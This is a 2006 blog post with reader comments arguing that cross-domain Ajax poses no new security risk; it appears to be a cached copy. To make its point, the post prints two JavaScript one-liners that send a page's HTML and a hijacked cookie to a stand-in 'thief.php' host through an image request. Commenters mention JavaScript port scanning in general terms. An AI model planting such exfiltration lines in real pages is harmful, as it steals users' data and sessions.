Ruby on Rails, Io, Lisp, JavaScript, Dynamic Languages, Prototype-based programming and more...

Thursday, June 08, 2006

Debunking Strong Misconceptions About Cross-Domain Ajax Security Issues

Preface: The issues discussed in this post are still correct, however I have found another more pressing reason that cross-domain Ajax is bad that nobody has mentioned before. Please see A JavaScript Based Firewall-Immobilizing Port Scanner.

Quite a number of people have been discussing possible cross-domain Ajax security issues recently. These are smart people that generally know their technologies very well, but for some reason are missing some fundamental aspects about Ajax. Here are a few articles that I am referring to.

  • Cross Domain XHR
  • Ajax: Is talking to outside domains safe?
  • Ajax, XHR, JavaScript and cross domain security story
  • Cross-Domain Ajax. Security Implications in Depth

To recap the issues mentioned in these articles.

  1. Resource Theft: Does allowing cross-domain Ajax enable theft of resources from intranets and the like?
  2. Cross Site Scripting: Does allowing cross-domain Ajax enable new cross site scripting attacks?
  3. Slow 3rd Party Web Sites: What if your server is in the US, the client is in the US, and the remote service is in India?
  4. Slowing down other peoples sites: What if you use many Ajax calls to try to shut down another person's site?
  5. Session data: If the client can hold session data, then we may be able to open up requests to outside domains, but we would have to some how secure this new data transfer or will see bigger holes for people to attack.
  6. If you allow cross-site ajax, can a malicious web page can perform actions as if you are logged in at that site?
  7. What about trusted domains? Wouldn't it be great to be able to say "mydomain.com trusts yourdomain.com and hisdomain.com" similar to Flash's crossdomain.xml policy file.

I will talk about each of these issues in turn, but the core of every point stem from the same thing. Ajax grabs text data from a server the way that the image tags grab image data from a server. Ajax inherently does not execute any of the text it receives. In fact, as the latest Windows image rendering overflow shows, it can actually be a bigger security risk to show a malicious image on a web page than it would ever be to grab text with Ajax.

Resource Theft


Cross-domain Ajax grabs text from a remote website. If you are really worried that cross-domain Ajax might be able to send local data to a remote server, think again. You don't need cross-domain Ajax, you can do it right now on any browser provided as much access to JavaScript as you would need for cross-domain Ajax in the first place.

(new Image()).src = "remotesite.com/thief.php?data=" + encodeURIComponent(document.body.innerHTML);
Cross Site Scripting

This is the funniest of all security concerns about Ajax, since as mentioned many times already, unless you call eval yourself (in which case I hope you are prepared for the results yourself, it has nothing to do with Ajax) Ajax is as innocuous as putting an image from a remote site on your site. No remote scripts are executed by default in Ajax.


Slow 3rd Party Web Sites


If you are requesting text from Russia it might take the page longer to load. If you are requesting an image from Russia it might take the page longer to load. No difference. The name of the game is embedding remote resources wisely, not banning a very useful technology because it can be used in a dumb way.


Slowing down other peoples sites


Again, this is just as easy without cross-domain Ajax as it is with cross-domain Ajax. You could just as easily create dynamic brs, images, and scripts to accomplish the same end and there are no restrictions in place to stop that family of attacks.


Session data


This actually falls into the same category as resource theft. Cross-domain Ajax does not introduce any new security issues that you don't have access to today.


Performing actions as if you are logged in


Cookie's are protected against cross-domain access and cross-domain Ajax would not circumvent that at all. A malicious site accessing your site would not have access to your cookies no matter how hard it tried, cross-domain Ajax would not change that. One might ask: well what if somehow the cookie is highjacked? Doesn't Ajax make it easier to send? No, no it does not.

(new Image()).src = "remotesite.com/thief.php?data=" + encodeURIComponent(hijacked_cookie);
Trusted domains

Some people think that one should require explicit permission to have cross-domain Ajax access to sites. I ask those people why? I don't need permission to curl your site. I don't need permission to embed images from your site into mine. I don't need permission to include scripts from your site. I don't need permission to include brs that link to your site. Why should I need permission to grab text data from your website from within my site?

If there are any more concerns about cross-domain Ajax that I am missing, please comment. At this moment I can see nothing that makes a difference to security by allowing cross-domain Ajax. Safari already allows cross-domain Ajax (thank you Apple!). I can not wait for the IE and Firefox people to figure out their fears are baseless.

IMPORTANT UPDATE: A Real Concern is Found


Patrick Breitenbach was able to find one single security implication, but it only works if all of the following conditions are satisfied:

  1. POSTs are required (note that unfortunately the vast majority of web applications don't care one way or the other)
  2. the attacker knows, at the very least, the intranet URL
  3. the attacker gets someone inside the intranet to visit that malicious site that targets their particular intranet software
  4. the intranet has no form of internal authentication
  5. the intranet does not check referrers to make sure that the POST comes from a form inside the intranet

If all of those are true, the attacker could have access to slightly more information on the intranet than he could have right now. There are a lot of conditions for this exploit, but the gist of it is you have to have crappy intranet software targeted directly by people with intimate knowledge of your particular intranet system in order for this to make any difference.

Compared to the amazing possible gains of enabling cross-domain Ajax, this seems like way too small of a concern to make a difference. Is this really the only thing holding Firefox and IE from allowing it?

posted by Lucas Carlson at 9:25 PM   

4 Comments:

fabien@saycure.com said...

My concern about Ajax is not about being able to send information, your article did fully explain that this issue already existed.

'Recent' Ajax script which used a vulnerability, a generaltion of a HTTP to any host/port not only from the originate website.
this vulnerability were 'just' adding a simple http request to XMLHttpRequest.
A normal called meant to only query a script on the website currently visited. But instead the buggy parsor were allowing to send a full HTML request including POST/CONNECT or other HTTP fancy functions.
This associated with the possibility to track the status of the connection you can reproduce a data raw connection on different services (not only the web one)
This can notably be used to finger print services such has ssh. This also could be used in certain cased to pushed an exploit to this service.

The detection of the services could be done on different one. The application could specificly search for RFC1918's IP ( local network IP)

The issue describe was corrected in the KHTML code (the port probing on Safari you were talking about)
To note a similar issue has been discovered with IE but had never been corrected since then.

Just to say that you right when saying Javascript is already bad in therm of security risk. But Ajax made things easier in particular for advanced exploit.
Ajax is just adding a level of unsecurity to something already describe as really bad.

Some proof of concept like XSS-proxy and some keyboard sniffing are worthed a look.
We might soon see a javascript tunnel or something as advanced... soon

10:16 AM, June 20, 2006

 
Anonymous said...

A reason why cross-domain Ajax is a bad idea?

shiflett.org/archive/250

11:36 AM, August 09, 2006

 
EvanPMeth said...

i just want to point out that, resource theft is not theft unless the person that uses the content does not cite where it came from. Then this gives complete credit/advertisement to the person that supplied the third party info. Also these third party requests can be done with serverside scripting, so why would it matter if you used info from another site and proxied it through your server to the client. it accomplishes the same thing as if ajax could do it, except that your server is being bottle necked with multiple request to and from the third party to your server. Cross-Domain would allow the client to request it instead of my server.

So basically, i dont see the point inmentioning resouce theft because serverside scripts can gather info from third party sites no problem. With mentioning this it nulls your statement of slowing down 3rd party sites. If the site did not want there information to be public why dont they password protect it or not publish it. Thats like saying i dont want you to view or use my site, but i want it to be on the internet, it just doesnt make sense.
This brings me back to citing again, and i am all against not giving credit to the creator.

On the other hand i do beleive allowing cross-domain would create secuirity problems. That is why as you mentioned a certificate on the 3rd party server would be ideal.

11:11 AM, September 15, 2006

 
Fabien said...

My concern was justified, there are different ways to create a service port scanner and scan private network or IPs on internet by using different javascript tricks. These informations are once collected sent back to an attacker website.

8:23 AM, October 22, 2006

 

Post a Comment

Subscribe to Post Comments [Atom]

<< Home

 
fabien@saycure.com --> EvanPMeth --> Fabien -->
Related searches:
domain security server intranet people
gipoco.com is neither affiliated with the authors of this page nor responsible for its contents. This is a safe-cache copy of the original web site.